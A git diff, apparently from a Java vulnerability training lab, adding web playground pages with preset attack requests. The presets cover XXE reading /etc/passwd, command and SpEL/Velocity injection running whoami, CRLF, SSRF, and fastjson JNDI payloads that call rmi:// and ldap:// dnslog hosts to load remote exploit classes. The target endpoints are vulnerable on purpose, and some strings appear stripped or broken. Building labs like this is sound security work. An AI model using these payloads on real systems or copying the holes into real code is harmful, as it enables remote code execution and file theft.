" + + "" + + ""; + } + + private String style() { + return ""; + } +} diff --git a/base_vul/base_vul.iml b/base_vul/base_vul.iml index da988f3..696bb03 100644 --- a/base_vul/base_vul.iml +++ b/base_vul/base_vul.iml @@ -11,6 +11,7 @@ + diff --git a/base_vul/src/main/java/com/myapp/controller/PlaygroundController.java b/base_vul/src/main/java/com/myapp/controller/PlaygroundController.java new file mode 100644 index 0000000..d80c91e --- /dev/null +++ b/base_vul/src/main/java/com/myapp/controller/PlaygroundController.java @@ -0,0 +1,75 @@ +package com.myapp.controller; + +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class PlaygroundController { + + @GetMapping(value = {"/", "/playground"}, produces = "text/html;charset=UTF-8") + @ResponseBody + public String index() { + String xmlPayload = "< !ENTITY xxe SYSTEM \"file:///etc/passwd\" >]>&xxe;".replace("< !", "< !ENTITY xxe SYSTEM \"file:///etc/passwd\" >]>&xxe;".replace("< !", "" + + "base_vul Playground" + + style() + + "

base_vul Playground

" + + "

Select a preset scenario, then adjust the method, path, content type, or body before sending. File upload scenarios use the file picker below.

" + + "" + + "" + + "" + + "" + + "" + + "" + + "
" + + "
Waiting for request...
" + + "", "application/json", "", false) + "," + + scenario("XSS DOM attack", "POST", "/xss_dom", "application/x-www-form-urlencoded", "name=%3Cscript%3Ealert%28123%29%3C%2Fscript%3E", false) + "," + + scenario("File upload attack", "POST", "/file_upload", "multipart/form-data", "", true) + "," + + scenario("File read attack", "GET", "/file_read?filePath=/etc/passwd", "application/json", "", false) + "," + + scenario("File download attack", "GET", "/file_download?fileName=../pom.xml", "application/json", "", false) + "," + + scenario("Runtime command attack", "GET", "/runtime_command_execute?command=whoami", "application/json", "", false) + "," + + scenario("ProcessBuilder attack", "GET", "/process_builder_command_execute?command=whoami", "application/json", "", false) + "," + + scenario("CRLF injection attack", "GET", "/crlf_injection?name=%0D%0ASet-Cookie: sessionid=123456", "application/x-www-form-urlencoded", "", false) + "," + + scenario("SpEL attack", "GET", "/spel_expression?input=T(java.lang.Runtime).getRuntime().exec('whoami')", "application/x-www-form-urlencoded", "", false) + "," + + scenario("SSRF openStream attack", "GET", "/ssrf_openStream?url=https://www.baidu.com", "application/x-www-form-urlencoded", "", false) + "," + + scenario("SSTI velocity attack", "GET", "/ssti_velocity?content=%23set (%24exp %3d \"exp\")%3b%24exp.getClass().forName(\"java.lang.Runtime\").getRuntime().exec(\"whoami\")", "application/x-www-form-urlencoded", "", false) + "," + + scenario("XXE documentbuilderfactory attack", "POST", "/xxe_documentbuilderfactory", "application/xml", xmlPayload, false) + "," + + scenario("XXE xinclude attack", "POST", "/xxe_documentbuilderfactory_xinclude", "application/xml", xmlXIncludePayload, false) + "," + + scenario("Open redirect attack", "GET", "/OpenRedirector_ModelAndView?url=https://www.baidu.com", "application/x-www-form-urlencoded", "", false) + "," + + scenario("swagger-ui attack", "GET", "/swagger-ui.html", "application/x-www-form-urlencoded", "", false) + + "];" + + commonScript() + + ""; + } + + private String scenario(String name, String method, String path, String contentType, String body, boolean useFile) { + return "{name:'" + esc(name) + "',method:'" + esc(method) + "',path:'" + esc(path) + "',contentType:'" + esc(contentType) + "',body:'" + esc(body) + "',useFile:" + useFile + "}"; + } + + private String commonScript() { + return "const scenarioBox=document.getElementById('scenario');const methodBox=document.getElementById('method');const pathBox=document.getElementById('path');const contentTypeBox=document.getElementById('contentType');const bodyBox=document.getElementById('body');const fileBox=document.getElementById('file');const resultBox=document.getElementById('result');" + + "scenarios.forEach((item,index)=>{const option=document.createElement('option');option.value=index;option.textContent=item.name;scenarioBox.appendChild(option);});" + + "function fillScenario(index){const item=scenarios[index];methodBox.value=item.method;pathBox.value=item.path;contentTypeBox.value=item.contentType;bodyBox.value=item.body;}" + + "function fillSelected(){fillScenario(scenarioBox.value||0);}" + + "async function sendCurrent(){resultBox.textContent='Request in progress...';try{const method=methodBox.value.trim().toUpperCase();const path=pathBox.value.trim();const contentType=contentTypeBox.value.trim();let response;if(contentType==='multipart/form-data'){const formData=new FormData();if(fileBox.files.length>0){formData.append('file',fileBox.files[0]);}response=await fetch(path,{method:method,body:formData});}else{const options={method:method,headers:{}};if(method!=='GET'&&bodyBox.value!==''){options.body=bodyBox.value;if(contentType!==''){options.headers['Content-Type']=contentType;}}response=await fetch(path,options);}const text=await response.text();resultBox.textContent='HTTP '+response.status+'\\n'+text;}catch(error){resultBox.textContent='Request failed: '+error;}}" + + "fillScenario(0);"; + } + + private String style() { + return ""; + } + + private String esc(String value) { + return value.replace("\\", "\\\\").replace("'", "\\'").replace("\r", "").replace("\n", "\\n"); + } +} diff --git a/base_vul_repair/src/main/java/com/myapp/controller/PlaygroundController.java b/base_vul_repair/src/main/java/com/myapp/controller/PlaygroundController.java new file mode 100644 index 0000000..dab8dcf --- /dev/null +++ b/base_vul_repair/src/main/java/com/myapp/controller/PlaygroundController.java @@ -0,0 +1,75 @@ +package com.myapp.controller; + +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class PlaygroundController { + + @GetMapping(value = {"/", "/playground"}, produces = "text/html;charset=UTF-8") + @ResponseBody + public String index() { + String xmlPayload = "< !ENTITY xxe SYSTEM \"file:///etc/passwd\" >]>&xxe;".replace("< !", "" + + "base_vul_repair Playground" + + style() + + "

base_vul_repair Playground

" + + "

These presets target the repaired endpoints. Fill a scenario, adjust it if needed, then send the request to observe the repaired behavior.

" + + "" + + "" + + "" + + "" + + "" + + "" + + "
" + + "
Waiting for request...
" + + "", "application/json", "", false) + "," + + scenario("XSS repair escapeHtml4", "GET", "/xss_reflect_escapeHtml4?name=", "application/json", "", false) + "," + + scenario("XSS repair thymeleaf storage", "GET", "/xss_storage_thymeleaf?name=", "application/json", "", false) + "," + + scenario("File upload repair", "POST", "/file_upload", "multipart/form-data", "", true) + "," + + scenario("File read repair", "GET", "/file_read?filePath=pom.xml", "application/json", "", false) + "," + + scenario("File read repair safe method", "GET", "/file_read1?filePath=pom.xml", "application/json", "", false) + "," + + scenario("File write repair", "GET", "/file_write?fileName=test.txt&data=test", "application/json", "", false) + "," + + scenario("Runtime repair blocked", "GET", "/runtime_command_execute?command=whoami", "application/json", "", false) + "," + + scenario("Runtime normal allowed", "GET", "/runtime_command_execute?command=date", "application/json", "", false) + "," + + scenario("SpEL repair blocked", "GET", "/spel_expression?input=T(java.lang.Runtime).getRuntime().exec('whoami')", "application/x-www-form-urlencoded", "", false) + "," + + scenario("SpEL normal", "GET", "/spel_expression?input=1", "application/x-www-form-urlencoded", "", false) + "," + + scenario("SSRF repair blocked", "GET", "/ssrf_openStream?url=https://www.baidu.com", "application/x-www-form-urlencoded", "", false) + "," + + scenario("SSRF normal", "GET", "/ssrf_openStream?url=http://example.com", "application/x-www-form-urlencoded", "", false) + "," + + scenario("SSTI repair", "GET", "/ssti_velocity?content=%23set (%24exp %3d \"exp\")%3b%24exp.getClass().forName(\"java.lang.Runtime\").getRuntime().exec(\"whoami\")", "application/x-www-form-urlencoded", "", false) + "," + + scenario("XXE repair", "POST", "/xxe_documentbuilderfactory", "application/xml", xmlPayload, false) + "," + + scenario("Open redirect repair", "GET", "/OpenRedirector_ModelAndView?url=https://www.baidu.com", "application/x-www-form-urlencoded", "", false) + "," + + scenario("Open redirect normal", "GET", "/OpenRedirector_ModelAndView?url=https://example.com", "application/x-www-form-urlencoded", "", false) + "," + + scenario("swagger-ui repair", "GET", "/swagger-ui.html", "application/x-www-form-urlencoded", "", false) + + "];" + + commonScript() + + ""; + } + + private String scenario(String name, String method, String path, String contentType, String body, boolean useFile) { + return "{name:'" + esc(name) + "',method:'" + esc(method) + "',path:'" + esc(path) + "',contentType:'" + esc(contentType) + "',body:'" + esc(body) + "',useFile:" + useFile + "}"; + } + + private String commonScript() { + return "const scenarioBox=document.getElementById('scenario');const methodBox=document.getElementById('method');const pathBox=document.getElementById('path');const contentTypeBox=document.getElementById('contentType');const bodyBox=document.getElementById('body');const fileBox=document.getElementById('file');const resultBox=document.getElementById('result');" + + "scenarios.forEach((item,index)=>{const option=document.createElement('option');option.value=index;option.textContent=item.name;scenarioBox.appendChild(option);});" + + "function fillScenario(index){const item=scenarios[index];methodBox.value=item.method;pathBox.value=item.path;contentTypeBox.value=item.contentType;bodyBox.value=item.body;}" + + "function fillSelected(){fillScenario(scenarioBox.value||0);}" + + "async function sendCurrent(){resultBox.textContent='Request in progress...';try{const method=methodBox.value.trim().toUpperCase();const path=pathBox.value.trim();const contentType=contentTypeBox.value.trim();let response;if(contentType==='multipart/form-data'){const formData=new FormData();if(fileBox.files.length>0){formData.append('file',fileBox.files[0]);}response=await fetch(path,{method:method,body:formData});}else{const options={method:method,headers:{}};if(method!=='GET'&&bodyBox.value!==''){options.body=bodyBox.value;if(contentType!==''){options.headers['Content-Type']=contentType;}}response=await fetch(path,options);}const text=await response.text();resultBox.textContent='HTTP '+response.status+'\\n'+text;}catch(error){resultBox.textContent='Request failed: '+error;}}" + + "fillScenario(0);"; + } + + private String style() { + return ""; + } + + private String esc(String value) { + return value.replace("\\", "\\\\").replace("'", "\\'").replace("\r", "").replace("\n", "\\n"); + } +} diff --git a/cas_xxe/src/main/java/com/myapp/controller/PlaygroundController.java b/cas_xxe/src/main/java/com/myapp/controller/PlaygroundController.java new file mode 100644 index 0000000..8ff5932 --- /dev/null +++ b/cas_xxe/src/main/java/com/myapp/controller/PlaygroundController.java @@ -0,0 +1,37 @@ +package com.myapp.controller; + +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class PlaygroundController { + + @GetMapping(value = {"/", "/playground"}, produces = "text/html;charset=UTF-8") + @ResponseBody + public String index() { + String attack = " ]> John&ent;"; + String normal = " John&ent;"; + return page("cas_xxe Playground", "/xxe_cas", attack, normal, true); + } + + private String page(String title, String path, String attack, String normal, boolean post) { + return "" + title + "" + style() + + "

" + title + "

可先填充攻击/正常 XML,再手动修改并发送到 " + path + "

" + + "
" + + "
" + + "
等待发送请求...
"; + } + + private String style() { + return ""; + } + + private String esc(String value) { + return value.replace("\\", "\\\\").replace("'", "\\'").replace("\r", "").replace("\n", "\\n"); + } +} diff --git a/collections/collections.iml b/collections/collections.iml deleted file mode 100644 index 78b2cc5..0000000 --- a/collections/collections.iml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/collections/src/main/java/myapp/PlaygroundController.java b/collections/src/main/java/myapp/PlaygroundController.java new file mode 100644 index 0000000..aff03f9 --- /dev/null +++ b/collections/src/main/java/myapp/PlaygroundController.java @@ -0,0 +1,26 @@ +package myapp; + +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class PlaygroundController { + + @GetMapping(value = {"/", "/playground"}, produces = "text/html;charset=UTF-8") + @ResponseBody + public String index() { + return "collections Playground" + style() + + "

collections Playground

填写命令后会请求 /transformer

" + + "" + + "
" + + "
等待发送请求...
"; + } + + private String style() { + return ""; + } +} diff --git a/docker-compose-build.yaml b/docker-compose-build.yaml index 3031fbb..4e75b35 100644 --- a/docker-compose-build.yaml +++ b/docker-compose-build.yaml @@ -407,6 +407,32 @@ services: - JAVA_TOOL_OPTIONS=-javaagent:/agent/agent.jar - JAVA_OPTS=-Xms256m -Xmx512m + shior-1.2.4: + image: wushangleon/shior-1.2.4 + build: + context: ./shior-1.2.4 + dockerfile: Dockerfile + ports: + - "9970:8080" + volumes: + - ./agent:/agent/ + environment: + - JAVA_TOOL_OPTIONS=-javaagent:/agent/agent.jar + - JAVA_OPTS=-Xms256m -Xmx512m + + shiro-1.25_1.42: + image: wushangleon/shiro-1.25_1.42 + build: + context: ./shiro-1.25_1.42 + dockerfile: Dockerfile + ports: + - "9969:8080" + volumes: + - ./agent:/agent/ + environment: + - JAVA_TOOL_OPTIONS=-javaagent:/agent/agent.jar + - JAVA_OPTS=-Xms256m -Xmx512m + diff --git a/docker-compose-local.yaml b/docker-compose-local.yaml index 68c86ea..838a371 100644 --- a/docker-compose-local.yaml +++ b/docker-compose-local.yaml @@ -405,6 +405,32 @@ services: - JAVA_TOOL_OPTIONS=-javaagent:/agent/agent.jar - JAVA_OPTS=-Xms512m -Xmx1024m + shior-1.2.4: + image: wushangleon/shior-1.2.4 + build: + context: ./shior-1.2.4 + dockerfile: Dockerfile_local + ports: + - "9970:8080" + volumes: + - ./agent:/agent/ + environment: + - JAVA_TOOL_OPTIONS=-javaagent:/agent/agent.jar + - JAVA_OPTS=-Xms512m -Xmx1024m + + shiro-1.25_1.42: + image: wushangleon/shiro-1.25_1.42 + build: + context: ./shiro-1.25_1.42 + dockerfile: Dockerfile_local + ports: + - "9969:8080" + volumes: + - ./agent:/agent/ + environment: + - JAVA_TOOL_OPTIONS=-javaagent:/agent/agent.jar + - JAVA_OPTS=-Xms512m -Xmx1024m + flask: image: wushangleon/javavul_index diff --git a/druid_authorized/druid_authorized.iml b/druid_authorized/druid_authorized.iml deleted file mode 100644 index 78b2cc5..0000000 --- a/druid_authorized/druid_authorized.iml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/druid_authorized/src/main/java/com/myapp/PlaygroundController.java b/druid_authorized/src/main/java/com/myapp/PlaygroundController.java new file mode 100644 index 0000000..a0b034e --- /dev/null +++ b/druid_authorized/src/main/java/com/myapp/PlaygroundController.java @@ -0,0 +1,28 @@ +package com.myapp; + +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class PlaygroundController { + + @GetMapping(value = {"/", "/playground"}, produces = "text/html;charset=UTF-8") + @ResponseBody + public String index() { + return "druid_authorized Playground" + style() + + "

druid_authorized Playground

默认会使用配置中的账号密码访问 /druid。你也可以修改路径、用户名和密码后再发送。

" + + "" + + "" + + "" + + "
" + + "
等待发送请求...
"; + } + + private String style() { + return ""; + } +} diff --git a/druid_unauthorized/src/main/java/com/myapp/PlaygroundController.java b/druid_unauthorized/src/main/java/com/myapp/PlaygroundController.java new file mode 100644 index 0000000..600848d --- /dev/null +++ b/druid_unauthorized/src/main/java/com/myapp/PlaygroundController.java @@ -0,0 +1,26 @@ +package com.myapp; + +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class PlaygroundController { + + @GetMapping(value = {"/", "/playground"}, produces = "text/html;charset=UTF-8") + @ResponseBody + public String index() { + return "druid_unauthorized Playground" + style() + + "

druid_unauthorized Playground

默认验证未授权访问 /druid,并保留 SQLWall 示例接口 /druid_sql?id=1

" + + "" + + "
" + + "
等待发送请求...
"; + } + + private String style() { + return ""; + } +} diff --git a/fastjson-1.2.24/fastjson-1.2.24.iml b/fastjson-1.2.24/fastjson-1.2.24.iml deleted file mode 100644 index 78b2cc5..0000000 --- a/fastjson-1.2.24/fastjson-1.2.24.iml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/fastjson-1.2.24/src/main/java/com/myapp/FastjsonController.java b/fastjson-1.2.24/src/main/java/com/myapp/FastjsonController.java index 8156c85..d832209 100644 --- a/fastjson-1.2.24/src/main/java/com/myapp/FastjsonController.java +++ b/fastjson-1.2.24/src/main/java/com/myapp/FastjsonController.java @@ -1,73 +1,95 @@ package com.myapp; import com.alibaba.fastjson.JSONObject; -import org.springframework.web.bind.annotation.*; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; @RestController public class FastjsonController { - @GetMapping("/fastjson-1.2.24") + @GetMapping(value = {"/", "/fastjson-1.2.24"}, produces = "text/html;charset=UTF-8") @ResponseBody public String fastjson_1_2_24() { - String html = "\n" + - "\n" + + return "\n" + + "\n" + "\n" + " \n" + - " JSON Form\n" + + " fastjson-1.2.24 Playground\n" + + " \n" + "\n" + "\n" + - "
\n" + - " \n" + - "

\n" + - "\n" + - " \n" + - "

\n" + + "
\n" + + "

fastjson-1.2.24 靶场测试页

\n" + + "

可以先用两个按钮填充 vul.py 里的攻击/正常样例,也可以手动修改 payload 后再发送到 /fastjson1.2.24-process

\n" + + " \n" + + " \n" + + "
\n" + + " \n" + + " \n" + + " \n" + + "
\n" + + " \n" + + "
等待发送请求...
\n" + + "
\n" + + " \n" + "\n" + ""; - - return html; } @PostMapping("/fastjson1.2.24-process") public String fastjson1_2_24_process(@RequestBody String data) { JSONObject jsonObject = JSONObject.parseObject(data); - // 处理 jsonObject return "Processed: " + jsonObject; } } diff --git a/fastjson-1.2.25-1.2.41/fastjson-1.2.25-1.2.41.iml b/fastjson-1.2.25-1.2.41/fastjson-1.2.25-1.2.41.iml deleted file mode 100644 index 78b2cc5..0000000 --- a/fastjson-1.2.25-1.2.41/fastjson-1.2.25-1.2.41.iml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/fastjson-1.2.25-1.2.41/src/main/java/com/myapp/FastjsonController.java b/fastjson-1.2.25-1.2.41/src/main/java/com/myapp/FastjsonController.java index 27da2d4..6b9c106 100644 --- a/fastjson-1.2.25-1.2.41/src/main/java/com/myapp/FastjsonController.java +++ b/fastjson-1.2.25-1.2.41/src/main/java/com/myapp/FastjsonController.java @@ -3,24 +3,125 @@ import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; import com.alibaba.fastjson.parser.ParserConfig; -import org.springframework.web.bind.annotation.*; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; @RestController public class FastjsonController { + @GetMapping(value = {"/", "/fastjson-1.2.25-1.2.41"}, produces = "text/html;charset=UTF-8") + @ResponseBody + public String index() { + String normalPayload = "{\"name\":\"123\",\"email\":\"123@123\",\"age\":\"123\"}"; + String attack25 = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://fastjson125-dnslog.cn\",\"autoCommit\":true}}"; + String attack41 = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://fastjson125-141-setAutoTypeSupport-dnslog.cn\",\"autoCommit\":true}"; + + return "" + + "" + + "" + + "" + + "fastjson-1.2.25-1.2.41 靶场测试页" + + styleBlock() + + "" + + "" + + "
" + + "

fastjson-1.2.25-1.2.41 靶场测试页

" + + "

每个面板都可以先填充 vul.py 中的样例 payload,再手动编辑,然后发送当前内容。

" + + buildPanel("p25", "fastjson 1.2.25 - disableAutoTypeSupport", "/fastjson1.2.25-process", normalPayload, 1) + + buildPanel("p41", "fastjson 1.2.41 - setAutoTypeSupport", "/fastjson1.2.41-process-setAutoTypeSupport", normalPayload, 1) + + "
" + + "" + + "" + + ""; + } @PostMapping("/fastjson1.2.25-process") public String fastjson1_2_25_process(@RequestBody String data) { JSONObject jsonObject = JSONObject.parseObject(data); - // 处理 jsonObject return "Processed: " + jsonObject; } @PostMapping("/fastjson1.2.41-process-setAutoTypeSupport") public String fastjson1_2_41_process(@RequestBody String data) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); - JSON.parse(data); return data; } + + private String buildPanel(String id, String title, String path, String normalPayload, int attackCount) { + StringBuilder buttons = new StringBuilder(); + for (int i = 0; i < attackCount; i++) { + buttons.append(""); + } + buttons.append("") + .append(""); + + return "
" + + "

" + title + "

" + + "

目标接口: " + path + "

" + + "" + + "" + + "
" + buttons + "
" + + "" + + "
等待发送请求...
" + + "
"; + } + + private String styleBlock() { + return ""; + } + + private String escapeForJs(String value) { + return value.replace("\\", "\\\\").replace("'", "\\'").replace("\r", "").replace("\n", "\\n"); + } + + private String escapeHtml(String value) { + return value.replace("&", "&").replace("<", "<").replace(">", ">"); + } } diff --git a/fastjson-1.2.42/fastjson-1.2.42.iml b/fastjson-1.2.42/fastjson-1.2.42.iml deleted file mode 100644 index 78b2cc5..0000000 --- a/fastjson-1.2.42/fastjson-1.2.42.iml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/fastjson-1.2.42/src/main/java/myapp/FastjsonController.java b/fastjson-1.2.42/src/main/java/myapp/FastjsonController.java index bd609bd..150f365 100644 --- a/fastjson-1.2.42/src/main/java/myapp/FastjsonController.java +++ b/fastjson-1.2.42/src/main/java/myapp/FastjsonController.java @@ -2,18 +2,86 @@ import com.alibaba.fastjson.JSONObject; import com.alibaba.fastjson.parser.ParserConfig; -import org.springframework.web.bind.annotation.*; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; @RestController public class FastjsonController { + @GetMapping(value = {"/", "/fastjson-1.2.42"}, produces = "text/html;charset=UTF-8") + @ResponseBody + public String index() { + return buildPage( + "fastjson-1.2.42 靶场测试页", + "/fastjson1.2.42-process", + new String[]{ + "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"rmi://fastjson1_2_42_attack.dnslog.cn/Exploit\", \"autoCommit\":true}" + }, + "{\"name\":\"123\",\"email\":\"123@123\",\"age\":\"123\"}" + ); + } @PostMapping("/fastjson1.2.42-process") public String fastjson1_2_42_process(@RequestBody String data) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); - JSONObject jsonObject = JSONObject.parseObject(data); - // 处理 jsonObject return "Processed: " + jsonObject; } + + private String buildPage(String title, String processPath, String[] attackPayloads, String normalPayload) { + StringBuilder attackButtons = new StringBuilder(); + for (int i = 0; i < attackPayloads.length; i++) { + attackButtons.append(""); + } + return "" + title + "" + + styleBlock() + + "

" + title + "

" + + "

可以先填充 vul.py 中的攻击或正常样例,再手动修改 payload,然后发送到 " + processPath + "

" + + "" + + "
" + attackButtons + + "" + + "
" + + "
等待发送请求...
" + + "" + + ""; + } + + private String styleBlock() { + return ""; + } + + private String toJsArray(String[] payloads) { + StringBuilder builder = new StringBuilder("["); + for (int i = 0; i < payloads.length; i++) { + if (i > 0) { + builder.append(","); + } + builder.append("'").append(escapeForJs(payloads[i])).append("'"); + } + builder.append("]"); + return builder.toString(); + } + + private String escapeForJs(String value) { + return value.replace("\\", "\\\\").replace("'", "\\'").replace("\r", "").replace("\n", "\\n"); + } + + private String escapeHtml(String value) { + return value.replace("&", "&").replace("<", "<").replace(">", ">"); + } } diff --git a/fastjson-1.2.43/fastjson-1.2.43.iml b/fastjson-1.2.43/fastjson-1.2.43.iml deleted file mode 100644 index 78b2cc5..0000000 --- a/fastjson-1.2.43/fastjson-1.2.43.iml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/fastjson-1.2.43/src/main/java/myapp/FastjsonController.java b/fastjson-1.2.43/src/main/java/myapp/FastjsonController.java index a2f0d51..929b4c7 100644 --- a/fastjson-1.2.43/src/main/java/myapp/FastjsonController.java +++ b/fastjson-1.2.43/src/main/java/myapp/FastjsonController.java @@ -2,18 +2,65 @@ import com.alibaba.fastjson.JSONObject; import com.alibaba.fastjson.parser.ParserConfig; -import org.springframework.web.bind.annotation.*; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; @RestController public class FastjsonController { + @GetMapping(value = {"/", "/fastjson-1.2.43"}, produces = "text/html;charset=UTF-8") + @ResponseBody + public String index() { + return buildPage( + "fastjson-1.2.43 靶场测试页", + "/fastjson1.2.43-process", + new String[]{ + "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{\"dataSourceName\":\"rmi://fastjson1_2_43_attack.dnslog.cn/Exploit\",\"autoCommit\":true]}" + }, + "{\"name\":\"123\",\"email\":\"123@123\",\"age\":\"123\"}" + ); + } @PostMapping("/fastjson1.2.43-process") public String fastjson1_2_43_process(@RequestBody String data) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); - JSONObject jsonObject = JSONObject.parseObject(data); - // 处理 jsonObject return "Processed: " + jsonObject; } + + private String buildPage(String title, String processPath, String[] attackPayloads, String normalPayload) { + StringBuilder attackButtons = new StringBuilder(); + for (int i = 0; i < attackPayloads.length; i++) { + attackButtons.append(""); + } + return "" + title + "" + styleBlock() + + "

" + title + "

可以先填充 vul.py 中的攻击或正常样例,再手动修改 payload,然后发送到 " + processPath + "

" + + "
" + attackButtons + + "
" + + "
等待发送请求...
"; + } + + private String styleBlock() { + return ""; + } + + private String toJsArray(String[] payloads) { + StringBuilder builder = new StringBuilder("["); + for (int i = 0; i < payloads.length; i++) { + if (i > 0) builder.append(","); + builder.append("'").append(escapeForJs(payloads[i])).append("'"); + } + return builder.append("]").toString(); + } + + private String escapeForJs(String value) { + return value.replace("\\", "\\\\").replace("'", "\\'").replace("\r", "").replace("\n", "\\n"); + } + + private String escapeHtml(String value) { + return value.replace("&", "&").replace("<", "<").replace(">", ">"); + } } diff --git a/fastjson-1.2.45/fastjson-1.2.45.iml b/fastjson-1.2.45/fastjson-1.2.45.iml deleted file mode 100644 index 78b2cc5..0000000 --- a/fastjson-1.2.45/fastjson-1.2.45.iml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/fastjson-1.2.45/src/main/java/myapp/FastjsonController.java b/fastjson-1.2.45/src/main/java/myapp/FastjsonController.java index eca532d..8f8c3ec 100644 --- a/fastjson-1.2.45/src/main/java/myapp/FastjsonController.java +++ b/fastjson-1.2.45/src/main/java/myapp/FastjsonController.java @@ -1,20 +1,66 @@ package myapp; -import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; import com.alibaba.fastjson.parser.ParserConfig; -import org.springframework.web.bind.annotation.*; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; @RestController public class FastjsonController { + @GetMapping(value = {"/", "/fastjson-1.2.45"}, produces = "text/html;charset=UTF-8") + @ResponseBody + public String index() { + return buildPage( + "fastjson-1.2.45 靶场测试页", + "/fastjson1.2.45-process", + new String[]{ + "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"rmi://fastjson1.2.45-process.dnslog.cn/Exploit\"}}" + }, + "{\"name\":\"123\",\"email\":\"123@123\",\"age\":\"123\"}" + ); + } @PostMapping("/fastjson1.2.45-process") public String fastjson1_2_45_process(@RequestBody String data) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); - JSONObject jsonObject = JSONObject.parseObject(data); - // 处理 jsonObject return "Processed: " + jsonObject; } + + private String buildPage(String title, String processPath, String[] attackPayloads, String normalPayload) { + StringBuilder attackButtons = new StringBuilder(); + for (int i = 0; i < attackPayloads.length; i++) { + attackButtons.append(""); + } + return "" + title + "" + styleBlock() + + "

" + title + "

可以先填充 vul.py 中的攻击或正常样例,再手动修改 payload,然后发送到 " + processPath + "

" + + "
" + attackButtons + + "
" + + "
等待发送请求...
"; + } + + private String styleBlock() { + return ""; + } + + private String toJsArray(String[] payloads) { + StringBuilder builder = new StringBuilder("["); + for (int i = 0; i < payloads.length; i++) { + if (i > 0) builder.append(","); + builder.append("'").append(escapeForJs(payloads[i])).append("'"); + } + return builder.append("]").toString(); + } + + private String escapeForJs(String value) { + return value.replace("\\", "\\\\").replace("'", "\\'").replace("\r", "").replace("\n", "\\n"); + } + + private String escapeHtml(String value) { + return value.replace("&", "&").replace("<", "<").replace(">", ">"); + } } diff --git a/fastjson-1.2.59/fastjson-1.2.59.iml b/fastjson-1.2.59/fastjson-1.2.59.iml deleted file mode 100644 index 78b2cc5..0000000 --- a/fastjson-1.2.59/fastjson-1.2.59.iml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/fastjson-1.2.59/src/main/java/myapp/FastjsonController.java b/fastjson-1.2.59/src/main/java/myapp/FastjsonController.java index 114b1a1..bf04ca3 100644 --- a/fastjson-1.2.59/src/main/java/myapp/FastjsonController.java +++ b/fastjson-1.2.59/src/main/java/myapp/FastjsonController.java @@ -2,19 +2,43 @@ import com.alibaba.fastjson.JSONObject; import com.alibaba.fastjson.parser.ParserConfig; -import org.springframework.web.bind.annotation.*; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; @RestController public class FastjsonController { + @GetMapping(value = {"/", "/fastjson-1.2.59"}, produces = "text/html;charset=UTF-8") + @ResponseBody + public String index() { + return buildPage("fastjson-1.2.59 靶场测试页", "/fastjson1.2.59-process", new String[]{ + "{\"@type\":\"com.zaxxer.hikari.HikariConfig\",\"metricRegistry\":\"rmi://fastjson1.2.59-process.dnslog.cn/Exploit\"}", + "{\"@type\":\"com.zaxxer.hikari.HikariConfig\",\"healthCheckRegistry\":\"rmi://fastjson1.2.59-process.dnslog.cn/Exploit\"}" + }, 